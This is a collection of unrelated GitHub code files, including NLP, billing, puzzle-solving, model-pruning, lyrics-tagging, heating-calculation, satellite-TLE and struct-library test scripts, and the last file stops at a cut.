+{"seq_id":"5305226341","text":"import nltk\nfrom nltk.stem import PorterStemmer, LancasterStemmer, snowball\nimport argparse\n\n\ndef arguments():\n parser = argparse.ArgumentParser(description=\"Segments the text input into separate sentences\")\n parser.add_argument('--input', required=True, action=\"store\", type=str, help=\"input text file\")\n parser.add_argument('--output', required=True, action=\"store\", type=str, help=\"output file path\")\n parser.add_argument('--stemmer', required=False, action=\"store\", type=str, help=\"output file path\")\n args = parser.parse_args()\n return args\n\n\ndef stem_file(in_file, out_file, stemmer_type):\n with open(in_file, 'r') as fd:\n unsegmented = fd.read()\n\n with open(out_file, 'w') as output:\n sentences = nltk.sent_tokenize(unsegmented)\n stemmer = get_stemmer(stemmer_type)\n for sentence in sentences:\n words = nltk.word_tokenize(sentence)\n for word in words:\n stemmed_word = stemmer.stem(word)\n output.write(stemmed_word)\n output.write('\\n')\n\n\ndef get_stemmer(stemmer_type):\n if stemmer_type == 'lancaster':\n stemmer = LancasterStemmer()\n elif stemmer_type == 'porter':\n stemmer = PorterStemmer()\n else:\n stemmer = snowball.EnglishStemmer()\n return stemmer\n\n\nif __name__ == '__main__':\n args = arguments()\n stem_file(args.input, args.output, args.stemmer)\n","repo_name":"Alveo/alveo-galaxy-tools","sub_path":"tools/nltk/g_stemmer.py","file_name":"g_stemmer.py","file_ext":"py","file_size_in_byte":1414,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"7345927595","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Feb 8 15:34:24 2022\n\n@author: Seb\n\n What the code does?\n This code takes customer name,previous and current meter reading of a \n user and then categorised the user as a domestic user, industrial user\n or a commercial user based on the users electricity consumption.\n \n The code finally displays a message to the user including:\n 1. The customer name\n 2. Amount of electricity consumed by the customer\n 3. Total amount to be paid,with an additional 2% charge\n \n\"\"\"\n\n\n# Getting customer name and meter readings\n\ncustomerName = str(input(\"Name of costomer: \")).capitalize()\npreviousReading = float(input(\"Previous meter reading,kwh: \"))\ncurrentReading = float(input(\"Current meter reading,kwh: \"))\n\n# passing info to the amountToBePaid function\n\ndef amountToBePaid(customerName,previousReading,currentReading):\n # check if current reading is less than the previous reading\n # since that can not happen\n if currentReading < previousReading:\n error_msg = f\"Hello {customerName},your current meter reading \"\n error_msg = error_msg + \"can not be less than the previous meter reading!\"\n\n print(error_msg)\n \n else:\n # compute amount of electricity consumed\n electricityConsumed = currentReading - previousReading\n\n # check and categorize customer based on the comsumption\n if electricityConsumed > 200:\n category = \"a commercial user\"\n \n if electricityConsumed <= 201:\n\n # amount to pay for first 201\n amountToPay = 0.9*electricityConsumed\n twoPersent = (2/100)*amountToPay #additional 2%\n totalAmountToBePaid = twoPersent + amountToPay\n\n else:\n\n # amount to pay if comsumption is more than 201\n\n amountToPay = (0.9*201) + 1.5*(electricityConsumed - 201)\n twoPersent = (2/100)*amountToPay #additional 2%\n totalAmountToBePaid = twoPersent + amountToPay\n\n elif electricityConsumed > 100:\n category = \"an industrial user\"\n \n if electricityConsumed <= 120:\n\n # amount to pay for first 120 kwh\n amountToPay = 0.5*electricityConsumed\n twoPersent = (2/100)*amountToPay #additional 2%\n totalAmountToBePaid = twoPersent + amountToPay\n\n else:\n\n # amount to pay if comsumption is more than 120 kwh\n\n amountToPay = (0.5*120) + 0.75*(electricityConsumed - 120)\n twoPersent = (2/100)*amountToPay #additional 2%\n totalAmountToBePaid = twoPersent + amountToPay\n\n else:\n # domestic since all the above conditions faild\n category = \"a domestic user\"\n if electricityConsumed <= 60:\n\n # amount to pay for first 60 kwh\n\n amountToPay = 0.3*electricityConsumed\n twoPersent = (2/100)*amountToPay #additional 2%\n totalAmountToBePaid = twoPersent + amountToPay\n\n else:\n\n # amount to pay if comsumption is more than 60 kwh\n amountToPay = (0.3*60) + 0.5*(electricityConsumed - 60)\n twoPersent = (2/100)*amountToPay #additional 2%\n totalAmountToBePaid = twoPersent + amountToPay\n \n # formatting the message display\n msgToCustomer = f\"\\n Hello {customerName},based on your comsumption,\"\n msgToCustomer = msgToCustomer + f\"{electricityConsumed}kwh,you've been\"\n msgToCustomer = msgToCustomer + f\" categorised as {category} and \"\n msgToCustomer = msgToCustomer + \"you're to pay a total amount of\"\n msgToCustomer = msgToCustomer + f\" {totalAmountToBePaid:.2f} GHC\"\n \n # dislpay message to user\n print(msgToCustomer)\n\n\n# calling the amountToBepPaid function to do the needful\namountToBePaid(customerName, previousReading, currentReading)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"sakaxo/Electricity_Consumption_Propblem","sub_path":"ElectricityConsumed.py","file_name":"ElectricityConsumed.py","file_ext":"py","file_size_in_byte":4055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24183439289","text":"from re import match, findall\n\ndef l_to_s(l):\n return ''.join(map(str, l))\n\ndef make_regex(rule):\n global rules\n if rule == 11:\n return \"@\" # for splitting the regex\n if rules[rule] == 'a' or rules[rule] == 'b':\n return rules[rule] \n if '|' in rules[rule]:\n paths = [x.strip() for x in rules[rule].split('|')]\n results = []\n for path in paths:\n new_rules = [int(x) for x in path.split(' ')]\n path_results = list(map(lambda x : make_regex(x) \n if x != rule \n else '+', new_rules))\n results.append(l_to_s(path_results) + '|')\n results[-1] = results[-1][:-1] # removing last '|'\n return \"(\" + l_to_s(results) + \")\" if rule != 11 else \"(\" + l_to_s(results) + \")\"\n else:\n new_rules = [int(x) for x in rules[rule].split(' ')]\n results = list(map(make_regex, new_rules))\n return l_to_s(results)\n\ndef tl_to_l(tl):\n return [tuple(j for j in i if j)[0] for i in tl]\n\ndef validate(line, front, back, regex_42, regex_31):\n results = []\n for i in range(1, 10): # magic number, I don't know how deep the nesting should go\n new_regex = front+(regex_42*i)+(regex_31*i)+back\n results.append(bool(match(new_regex, line)))\n return True in results\n\nwith open(\"day_19_input_2.txt\") as ip:\n blocks = [x for x in ip.read().split('\\n\\n')]\n rules = {int(x.split(':')[0]) : x.split(':')[1].strip(' \"') for x in blocks[0].splitlines()}\n messages = [x for x in blocks[1].splitlines()]\n regex_str = r\"^\" + make_regex(0) + r\"$\"\n r_split = regex_str.split('@')\n rule_42 = make_regex(42); rule_31 = make_regex(31)\n valid_messages = list(filter(lambda x: validate(x, r_split[0], r_split[1], rule_42, rule_31), messages))\n print(\"silver:\", len(valid_messages))","repo_name":"remenyi/aoc-2020","sub_path":"day_19_2.py","file_name":"day_19_2.py","file_ext":"py","file_size_in_byte":1891,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"17585420736","text":"# https://leetcode.com/problems/longest-palindrome-by-concatenating-two-letter-words/\nclass Solution:\n def longestPalindrome(self, words: List[str]) -> int:\n dt = Counter(words)\n diff, even = 0, 0\n odd = []\n\n for k, v in dt.items():\n if k[0] == k[-1]:\n if v & 1:\n odd.append(v)\n else:\n even += v\n continue\n \n reverse = k[-1] + k[0]\n if reverse in dt:\n diff += min(v, dt[reverse])\n\n l = 2 * (diff + even)\n if odd:\n odd.sort()\n l += 2 * (odd[-1] + sum(odd[:-1]) - (len(odd) - 1))\n \n return l\n","repo_name":"liangym2014/anchunmao-Leetcode","sub_path":"2131. Longest Palindrome by Concatenating Two Letter Words - medium.py","file_name":"2131. Longest Palindrome by Concatenating Two Letter Words - medium.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71429521319","text":"import os\nimport shutil\nimport sys\n\nimport argparse\nimport numpy as np\nimport pandas as pd\nimport pickle\nimport torch\nimport torch.nn.utils.prune as prune\nimport torchvision\nimport tqdm\n\nfrom datasets import NIH_CXR_Dataset, MIMIC_CXR_Dataset\nfrom utils import evaluate_prune, set_seed, val_worker_init_fn\n\ndef main(args):\n set_seed(0)\n\n if args.dataset == 'mimic-cxr-lt':\n N_CLASSES = 19\n dataset = MIMIC_CXR_Dataset\n elif args.dataset == 'nih-cxr-lt':\n N_CLASSES = 20\n dataset = NIH_CXR_Dataset\n else:\n sys.exit(-1)\n \n if os.path.isdir(args.out_dir):\n shutil.rmtree(args.out_dir)\n os.mkdir(args.out_dir)\n model_dir_ = os.path.join(args.model_dir, f'{args.dataset}_resnet50_ce_lr-0.0001_bs-256')\n\n device = 'cuda:0'\n\n model = torchvision.models.resnet50(pretrained=False)\n model.fc = torch.nn.Linear(model.fc.in_features, N_CLASSES)\n\n weights = torch.load(os.path.join(model_dir_, 'chkpt.pt'))['weights']\n msg = model.load_state_dict(weights, strict=True)\n model = model.to(device)\n\n # Get predictions on validation set\n val_dataset = dataset(data_dir=args.data_dir, label_dir=args.label_dir, split='val')\n val_loader = torch.utils.data.DataLoader(val_dataset, batch_size=args.batch_size, shuffle=False, num_workers=8, pin_memory=True, worker_init_fn=val_worker_init_fn)\n\n res = evaluate_prune(model=model, device=device, dataset=val_dataset, split='val', batch_size=args.batch_size, n_TTA=0)\n res.to_pickle(os.path.join(args.out_dir, f'{args.dataset}_resnet50_seed-0_prune-0_val.pkl'))\n\n # Get predictions on test set at various sparsity ratios\n test_dataset = dataset(data_dir=args.data_dir, label_dir=args.label_dir, split='test')\n test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=args.batch_size, shuffle=False, num_workers=8, pin_memory=True, worker_init_fn=val_worker_init_fn)\n\n sparsity_ratios = np.array(range(0, 100, 5)) / 100\n for seed in tqdm.tqdm(range(args.n_seeds), desc='SEEDS COMPLETED'):\n # Instantiate model\n model = torchvision.models.resnet50(pretrained=False)\n model.fc = torch.nn.Linear(model.fc.in_features, N_CLASSES)\n\n extra_str = f'_seed-{seed}' if seed != 0 else ''\n weights = torch.load(os.path.join(model_dir_ + extra_str, 'chkpt.pt'))['weights']\n\n msg = model.load_state_dict(weights, strict=True)\n model = model.to(device)\n\n # Run inference on test set and save predictions\n res = evaluate_prune(model=model, device=device, dataset=test_dataset, split='test', batch_size=args.batch_size, n_TTA=0)\n res.to_pickle(os.path.join(args.out_dir, f'{args.dataset}_resnet50_seed-{seed}_prune-0.pkl'))\n\n for ratio in tqdm.tqdm(sparsity_ratios[1:], desc='PRUNING RATIOS COMPLETED'):\n # Re-instantiate model\n model = torchvision.models.resnet50(pretrained=False)\n model.fc = torch.nn.Linear(model.fc.in_features, N_CLASSES)\n\n msg = model.load_state_dict(weights, strict=True) # reload best weights\n model = model.to(device)\n\n if args.prune_type == 'L1':\n ## L1 PRUNING ##\n params_to_prune = []\n for name, module in model.named_modules():\n if isinstance(module, torch.nn.Conv2d):\n params_to_prune.append((module, 'weight'))\n elif isinstance(module, torch.nn.Linear):\n params_to_prune.append((module, 'weight'))\n\n prune.global_unstructured(\n params_to_prune,\n pruning_method=prune.L1Unstructured,\n amount=ratio\n )\n elif args.prune_type == 'random':\n ## RANDOM PRUNING ##\n params_to_prune = []\n for name, module in model.named_modules():\n if isinstance(module, torch.nn.Conv2d):\n params_to_prune.append((module, 'weight'))\n elif isinstance(module, torch.nn.Linear):\n params_to_prune.append((module, 'weight'))\n\n prune.global_unstructured(\n params_to_prune,\n pruning_method=prune.RandomUnstructured,\n amount=ratio\n )\n else:\n sys.exit(-1)\n\n # Run inference on test set with pruned model and save predictions\n res = evaluate_prune(model=model, device=device, dataset=test_dataset, split='test', batch_size=args.batch_size, n_TTA=0)\n res.to_pickle(os.path.join(args.out_dir, f'{args.dataset}_resnet50_seed-{seed}_prune-{ratio}.pkl'))\n\nif __name__ == '__main__':\n # Command-line arguments\n parser = argparse.ArgumentParser()\n parser.add_argument('--data_dir', type=str, required=True, help=\"path to dataset (NIH ChestXRay14 or MIMIC-CXR-JPG) directory containing all images\")\n parser.add_argument('--label_dir', default='labels', type=str)\n parser.add_argument('--out_dir', required=True, type=str, help='path to directory where results will be saved')\n parser.add_argument('--model_dir', default='trained_models', type=str, help='path to directory with model weights (NOTE: PROVIDE PATH TO RUN WITH SEED 0)')\n parser.add_argument('--dataset', default='nih-cxr-lt', type=str, choices=['nih-cxr-lt', 'mimic-cxr-lt'])\n\n parser.add_argument('--prune_type', type=str, default='L1', choices=['L1', 'random'])\n parser.add_argument('--n_seeds', type=int, default=30)\n parser.add_argument('--model_name', default='resnet50', type=str, choices=['resnet50'])\n parser.add_argument('--batch_size', default=256, type=int)\n parser.add_argument('--seed', default=0, type=int, help=\"set random seed\")\n\n args = parser.parse_args()\n\n print(args)\n\n main(args)","repo_name":"VITA-Group/PruneCXR","sub_path":"src/prune.py","file_name":"prune.py","file_ext":"py","file_size_in_byte":5875,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"20515266850","text":"\nimport argparse\nimport json\nimport os\n\nfrom lyricsgenius import Genius\n\nfrom file_regularization import auto_regularize\nfrom lyrics_attachment import auto_add_lyrics\nfrom lyrics_manipulation import (\n create_lyrics_file,\n edit_lyrics,\n search_lyrics,\n)\nimport utils\n\n\n# All instructional texts for parsers are stored in this file:\nwith open(\"instructions.json\") as insts:\n ts = json.load(insts)\n\nparser = argparse.ArgumentParser(\n prog=\"lyricser\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=ts[\"parser\"][\"desc\"]\n)\nsubparsers = parser.add_subparsers(title=\"Commands\", dest=\"command\", metavar=\"\")\n\ndef add_common_arguments(parser, **helps):\n # These common arguments are needed for all of the parsres.\n # But the help messages can be customized.\n parser.add_argument(\"-r\", \"--recursive\", action=\"store_true\",\n help=helps.get(\"recursive\", ts[\"common\"][\"recursive\"]))\n parser.add_argument(\"path\", type=str,\n help=helps.get(\"path\", ts[\"common\"][\"path\"]))\n\nregular_parser = subparsers.add_parser(\n \"regular\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=ts[\"regular\"][\"desc\"],\n epilog=ts[\"regular\"][\"epil\"],\n help=ts[\"regular\"][\"help\"]\n)\nadd_common_arguments(regular_parser)\nregular_parser.add_argument(\"-a\", \"--auto-names\", action=\"store_true\",\n help=ts[\"regular\"][\"args\"][\"auto_names\"])\nregular_parser.add_argument(\"-n\", \"--no-rename\",\n action=\"store_false\", dest=\"rename\",\n help=ts[\"regular\"][\"args\"][\"rename\"])\n\nset_parser = subparsers.add_parser(\n \"set\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=ts[\"set\"][\"desc\"],\n epilog=ts[\"set\"][\"epil\"],\n help=ts[\"set\"][\"help\"]\n)\nadd_common_arguments(set_parser)\nset_parser.add_argument(\"-i\", \"--is-album\", action=\"store_true\",\n help=ts[\"set\"][\"args\"][\"is_album\"])\n\ncreate_parser = subparsers.add_parser(\n \"create\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=ts[\"create\"][\"desc\"],\n epilog=ts[\"create\"][\"epil\"],\n help=ts[\"create\"][\"help\"]\n)\nadd_common_arguments(create_parser)\ncreate_parser.add_argument(\"-o\", \"--output-path\", dest=\"lyrics_path\",\n help=ts[\"create\"][\"args\"][\"lyrics_path\"])\n\nedit_parser = subparsers.add_parser(\n \"edit\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=ts[\"edit\"][\"desc\"],\n epilog=ts[\"edit\"][\"epil\"],\n help=ts[\"edit\"][\"help\"]\n)\nadd_common_arguments(edit_parser)\n\nsearch_parser = subparsers.add_parser(\n \"search\",\n formatter_class=argparse.RawDescriptionHelpFormatter,\n description=ts[\"search\"][\"desc\"],\n help=ts[\"search\"][\"help\"]\n)\nadd_common_arguments(search_parser, path=ts[\"search\"][\"args\"][\"path\"])\nsearch_parser.add_argument(\"-q\", nargs=\"+\", dest=\"q_list\", metavar=\"phrase\",\n help=ts[\"search\"][\"args\"][\"q_list\"])\n\n\nif __name__ == \"__main__\":\n\n args = parser.parse_args()\n\n # Print help if the program is run without any arguments.\n if args.command is None:\n parser.print_help()\n raise SystemExit\n\n assert hasattr(args, \"path\"), \"path argument is required\"\n origin_path = utils.format_path(args.path)\n if not utils.is_valid_dir(origin_path):\n print(\" X Error: Invalid path!\")\n raise SystemExit\n if not next(origin_path.iterdir(), None):\n print(\" X Error: The folder is empty!\")\n raise SystemExit\n\n # Regularize songs' tags and filename\n if args.command == \"regular\":\n auto_regularize(origin_path, args.recursive, args.auto_names, args.rename)\n utils.print_report(\"modified\", \"not modified\")\n\n # Search for lyrics in 'Genius.com' and add them to songs.\n elif args.command == \"set\":\n # genius = Genius(excluded_terms=[\"(Live)\", \"(Remix)\"])\n genius = Genius(os.environ.get(\"API_TOKEN\"), verbose=False)\n auto_add_lyrics(origin_path, genius, args.recursive, args.is_album)\n utils.print_report(\"added\", \"not added\")\n\n # For each folder, generate a text file containing all of its lyrics.\n elif args.command == \"create\":\n lyrics_path = None\n if args.lyrics_path is not None:\n lyrics_path = utils.format_path(args.lyrics_path)\n if not utils.is_valid_dir(lyrics_path):\n print(\" X Error: Invalid lyrics path!\")\n raise SystemExit\n create_lyrics_file(origin_path, lyrics_path, args.recursive)\n utils.print_report(\"created\", \"not created\")\n\n # Songs' lyrics editor.\n elif args.command == \"edit\":\n edit_lyrics(origin_path, args.recursive)\n\n # Search for a phrase in lyrics files.\n elif args.command == \"search\":\n search_lyrics(origin_path, args.q_list, args.recursive)\n\n print()\n","repo_name":"taajik/lyricser","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4897,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"} +{"seq_id":"38079769917","text":"import pandas as pd\r\nimport numpy as np\r\n\r\n\r\ndef HCAcal(WeeklyHCA, Heat_Area, Wkl_HDD, Wkl_SH_Egy, Four_day_SH_Egy_Uni, Apart_Cap, Total_Cap, Pipe_Heatloss, i):\r\n\r\n WeeklyHCAShare = pd.DataFrame(\r\n columns=['Week 1', 'Week 2', 'Week 3', 'Week 4', 'Week 5', 'Week 6', 'Week 7', 'Week 8', 'Week 9'])\r\n for wi in range(1, WeeklyHCA.shape[1]):\r\n WeeklyHCAShare['Week {week}'.format(week=wi)] = WeeklyHCA['Week {week}'.format(week=wi)] / WeeklyHCA[\r\n 'Week {week}'.format(week=wi)].sum()\r\n\r\n #print('HCA share', WeeklyHCAShare)\r\n\r\n Heat_Area_Uni = Heat_Area.sum()\r\n\r\n SH_Egy = pd.DataFrame(\r\n columns=['Week 1', 'Week 2', 'Week 3', 'Week 4', 'Week 5', 'Week 6', 'Week 7', 'Week 8', 'Week 9'])\r\n for fi in range(0, WeeklyHCAShare.shape[0]):\r\n SH_Egy = pd.concat([SH_Egy, WeeklyHCAShare.iloc[fi] * Wkl_SH_Egy])\r\n\r\n\r\n\r\n SH_Egy.reset_index(inplace=True)\r\n if i == 2 or i == 4 or i == 5:\r\n SH_Egy.drop([len(SH_Egy) - 1], inplace=True)\r\n\r\n\r\n SH_HG_Egy = pd.DataFrame(\r\n columns=['Week 1', 'Week 2', 'Week 3', 'Week 4', 'Week 5', 'Week 6', 'Week 7', 'Week 8', 'Week 9'])\r\n for wi in range(1, WeeklyHCA.shape[1]):\r\n SH_HG_Egy['Week {week}'.format(week=wi)] = SH_Egy['Week {week}'.format(week=wi)] * 1000 + 5 * 7 * 24 / 1000 * \\\r\n Heat_Area['Area']\r\n SH_HG_Egy = SH_HG_Egy.astype('float64')\r\n\r\n SH_HG_Egy_Uni = SH_HG_Egy.sum().sum() / 1000\r\n\r\n Hlc = pd.DataFrame(\r\n columns=['Week 1', 'Week 2', 'Week 3', 'Week 4', 'Week 5', 'Week 6', 'Week 7', 'Week 8', 'Week 9'])\r\n for fi in range(0, SH_HG_Egy.shape[0]):\r\n Hlc = pd.concat([Hlc, SH_HG_Egy.iloc[fi] / Wkl_HDD / 24])\r\n\r\n\r\n Hlc.reset_index(inplace=True)\r\n Hlc = Hlc.drop(['index'], axis=1)\r\n\r\n\r\n Hlc_by_Cap = pd.DataFrame(\r\n columns=['Week 1', 'Week 2', 'Week 3', 'Week 4', 'Week 5', 'Week 6', 'Week 7', 'Week 8', 'Week 9'])\r\n for wi in range(1, 10):\r\n Hlc_by_Cap['Week {week}'.format(week=wi)] = Hlc['Week {week}'.format(week=wi)] / (\r\n Apart_Cap['Larger of active and 75(W)'] / 1000)\r\n\r\n Hlc_by_Cap = Hlc_by_Cap.astype('float64')\r\n #print('Hlc by capacity',Hlc_by_Cap)\r\n Cri_Pos = Hlc_by_Cap.idxmax()\r\n print('Critical position',Cri_Pos)\r\n\r\n Cri_Area = pd.DataFrame()\r\n for fi in range(1, 10):\r\n Cri_Area = pd.concat([Cri_Area, Heat_Area.iloc[Cri_Pos['Week {week}'.format(week=fi)]]])\r\n Cri_Area.reset_index(inplace=True)\r\n Cri_Area.columns = ['Name', 'Area (m2)']\r\n Avg_Area = Cri_Area['Area (m2)'].mean()\r\n\r\n Cri_Cap = pd.DataFrame()\r\n for fi in range(1, 10):\r\n Cri_Cap = pd.concat([Cri_Cap, Apart_Cap.iloc[Cri_Pos['Week {week}'.format(week=fi)]]])\r\n Cri_Cap.reset_index(inplace=True)\r\n Cri_Cap = Cri_Cap.loc[Cri_Cap['index'] == 'Larger of active and 75(W)']\r\n Cri_Cap.columns = ['Name', 'Capacity(W)']\r\n Avg_Cap = Cri_Cap['Capacity(W)'].mean()\r\n Avg_Cap = Avg_Cap / 1000\r\n Corr_fac = 1 + Pipe_Heatloss.columns[0] / Apart_Cap['Registered Capacity(W)'].sum() * 1000\r\n #print(Apart_Cap['Larger of active and 75(W)'].sum())\r\n\r\n Inp_Cap = Corr_fac * Avg_Cap\r\n Inp_Cap_Uni = Corr_fac * Total_Cap\r\n #print(Cri_Pos['Week {week}'.format(week=9)])\r\n\r\n\r\n Cri_Hlc = pd.Series(np.arange(9))\r\n for fi in range(1, 10):\r\n Cri_Hlc[fi-1] = Hlc.loc[\r\n [Cri_Pos['Week {week}'.format(week=fi)]], ['Week {week}'.format(week=fi)]].values\r\n\r\n\r\n Avg_Hlc = Cri_Hlc.mean()[0][0]\r\n\r\n Cri_Egy = pd.Series(np.arange(9))\r\n for fi in range(1, 10):\r\n Cri_Egy[fi-1] = SH_HG_Egy.loc[\r\n [Cri_Pos['Week {week}'.format(week=fi)]], ['Week {week}'.format(week=fi)]].values\r\n\r\n\r\n\r\n Avg_Egy = Cri_Egy.mean()\r\n\r\n Mass_flw_rate = Avg_Egy / (7 * 24 * 4.2 * 10)\r\n Mass_flw_rate_Uni = Four_day_SH_Egy_Uni / (4 * 24 * 4.2 * 10) * 1000\r\n\r\n return Avg_Area, Mass_flw_rate, Inp_Cap, Avg_Hlc, Heat_Area_Uni, Mass_flw_rate_Uni, Inp_Cap_Uni, SH_HG_Egy_Uni, Wkl_HDD\r\n\r\n\r\n","repo_name":"Saysayitagain/Minimum-DH-temperature","sub_path":"HCAcalculation.py","file_name":"HCAcalculation.py","file_ext":"py","file_size_in_byte":4004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"22607083483","text":"import math\r\n\r\nn = int(input())\r\nnumbers = [int(input()) for _ in range(n)]\r\nnumbers.sort()\r\n\r\ngcd_numbers = []\r\nfor i in range(len(numbers)-1):\r\n gcd_numbers.append(numbers[i+1] - numbers[i])\r\n\r\ngcd = gcd_numbers[0]\r\nfor gcds in gcd_numbers[1:]:\r\n gcd = math.gcd(gcd, gcds)\r\n\r\nresult = set()\r\nfor i in range(2, int(gcd**0.5)+1):\r\n if gcd % i == 0:\r\n result.add(i)\r\n result.add(gcd // i)\r\nresult.add(gcd)\r\n\r\nfor factor in sorted(list(result)):\r\n print(factor, end=' ')","repo_name":"h99spark/baekjoon","sub_path":"baekjoon_2981.py","file_name":"baekjoon_2981.py","file_ext":"py","file_size_in_byte":494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"12304493769","text":"from sys import stdout\nfrom sgp4.conveniences import dump_satrec\nimport requests\nfrom sgp4.api import Satrec\nfrom sgp4.api import jday , WGS84,WGS72\n\nurl = \"https://celestrak.org/NORAD/elements/gp.php?GROUP=stations&FORMAT=tle\"\n\npayload={}\nheaders = {}\n\nresponse = requests.request(\"GET\", url, headers=headers, data=payload)\n\n\nf = open(\"demofile2.txt\", \"w\")\nf.write(response.text)\nf.close()\n\nsatalite_list=[]\nobj_dic={}\ncounter_val = 0\nfor line in response.text.splitlines():\n # if line[0] == \"HSU-SAT1\":\n # print(i)\n if line[0] != \"1\" and line[0] != \"2\":\n # print(\"name = \",line)\n obj_dic['names']=line\n counter_val+=1\n if line[0] == \"1\":\n # print(\"line1 = \",line)\n obj_dic['line1']=line\n counter_val+=1\n if line[0] == \"2\":\n # print(\"line2 = \",line)\n obj_dic['line2']=line\n counter_val+=1\n if counter_val == 3:\n # print(counter_val)\n satellite = Satrec.twoline2rv(obj_dic[\"line1\"], obj_dic[\"line2\"],WGS72)\n obj_dic['sat_data_obj']=satellite\n counter_val = 0\n satalite_list.append(obj_dic)\n obj_dic={}\n\n\njd, fr = jday(2023, 2, 27, 23, 11, 0)\n\n\nfor i in satalite_list:\n if i['line2'] == \"2 53462 51.6255 132.2555 0007984 15.0436 345.0808 15.97153441 31143\":\n print(i)\n e, r, v = i[\"sat_data_obj\"].sgp4(jd, fr)\n print(e)\n print(\"r:\",r)\n print(\"v:\",v) # ? lingituted ?\n print(\"===============================================================================================\")\n print(i[\"sat_data_obj\"].gsto)\n # stdout.writelines(dump_satrec(i[\"sat_data_obj\"]))\n # 4.291346630347583 2:15 SL-4 R/B\n # 4.291346630347583 2:26\n # 6.2533566616080165 10:50\n\n\n\n# import numpy as np\n# np.set_printoptions(precision=2)\n\n\n\n# jd, fr = jday(2022, 12, 9, 12, 0, 0)\n\n# e, r, v = satellite.sgp4(jd, fr)\n\n# print(e)\n# print(r)\n# print(v)\n\n","repo_name":"harshbakori/harshbakori.github.io","sub_path":"Spacemap/loaddata.py","file_name":"loaddata.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"35"} +{"seq_id":"13773927880","text":"from __future__ import annotations\n\nfrom typing import Literal\nfrom typing_extensions import Annotated\n\nfrom pytest import raises\nfrom typc import (Padding, Shift, Struct, UInt8, UInt16, clone_type, offsetof,\n padded, shifted, sizeof, type_name, typeof)\n\n\ndef test_struct_declaration_annotations() -> None:\n class Pos(Struct):\n x: UInt16\n y: UInt16\n\n class Rect(Struct):\n pos: Pos\n width: UInt8\n height: UInt8\n\n assert Rect.pos is Pos\n assert Rect.width is UInt8\n assert Rect.height is UInt8\n\n\ndef test_struct_declaration_classvars() -> None:\n class Pos(Struct):\n x = UInt16()\n y = UInt16()\n\n class Rect(Struct):\n pos = Pos()\n width = UInt8()\n height = UInt8()\n\n assert Rect.pos is Pos\n assert Rect.width is UInt8\n assert Rect.height is UInt8\n\n\ndef test_struct_declaration_mixed() -> None:\n with raises(ValueError):\n\n class Rect(Struct):\n x = UInt16()\n y: UInt16\n width: UInt8\n height = UInt8()\n\n _ = Rect\n\n\ndef test_empty_struct_declaration() -> None:\n with raises(ValueError):\n\n class EmptyStruct(Struct):\n pass\n\n _ = EmptyStruct\n\n\ndef test_non_type_field_annotation() -> None:\n with raises(ValueError):\n\n class BadStruct(Struct):\n field: str\n\n _ = BadStruct\n\n\ndef test_non_type_field_classvar() -> None:\n with raises(ValueError):\n\n class BadStruct(Struct):\n field = int\n\n _ = BadStruct\n\n\ndef test_nonexistent_type_member_get() -> None:\n class SomeStruct(Struct):\n field: UInt8\n\n with raises(AttributeError):\n # pylint: disable=no-member\n _ = SomeStruct.bad # type: ignore\n\n\ndef test_nonexistent_type_member_set() -> None:\n class SomeStruct(Struct):\n field: UInt8\n\n with raises(AttributeError):\n SomeStruct.bad = 1 # type: ignore\n\n\ndef test_nonexistent_value_member_get() -> None:\n class SomeStruct(Struct):\n field: UInt8\n\n inst = SomeStruct(0)\n with raises(AttributeError):\n # pylint: disable=no-member\n _ = inst.bad # type: ignore\n\n\ndef test_nonexistent_value_member_set() -> None:\n class SomeStruct(Struct):\n field: UInt8\n\n inst = SomeStruct(0)\n with raises(AttributeError):\n # pylint: disable=attribute-defined-outside-init\n inst.bad = 1 # type: ignore\n\n\ndef test_packed_size() -> None:\n class SomeStruct(Struct):\n field1: UInt8\n field2: UInt16\n\n data = SomeStruct(0)\n assert sizeof(SomeStruct) == 3\n assert sizeof(data) == 3\n assert bytes(data) == b'\\x00\\x00\\x00'\n\n\ndef test_typeof() -> None:\n class SomeStruct(Struct):\n field1: UInt8\n field2: UInt16\n\n data = SomeStruct(0)\n assert typeof(data) is SomeStruct\n\n\ndef test_offsetof_type() -> None:\n class SomeStruct(Struct):\n field1: UInt8\n field2: UInt16\n field3: UInt16\n\n assert offsetof(SomeStruct, 'field1') == 0\n assert offsetof(SomeStruct, 'field2') == 1\n assert offsetof(SomeStruct, 'field3') == 3\n with raises(KeyError):\n offsetof(SomeStruct, 'bad_field')\n\n\ndef test_offsetof_value() -> None:\n class SomeStruct(Struct):\n field1: UInt8\n field2: UInt16\n field3: UInt16\n\n data = SomeStruct(0)\n assert offsetof(data, 'field1') == 0\n assert offsetof(data, 'field2') == 1\n assert offsetof(data, 'field3') == 3\n with raises(KeyError):\n offsetof(data, 'bad_field')\n\n\ndef test_name() -> None:\n class SomeStruct(Struct):\n field1: UInt8\n field2: UInt16\n field3: UInt16\n\n data = SomeStruct(0)\n assert type_name(SomeStruct) == 'SomeStruct'\n assert type_name(data) == 'SomeStruct'\n\n\ndef test_clone() -> None:\n class SomeStruct(Struct):\n field1: UInt8\n field2: UInt16\n field3: UInt16\n\n clone = clone_type(SomeStruct)\n data = clone(0)\n assert clone is not SomeStruct\n 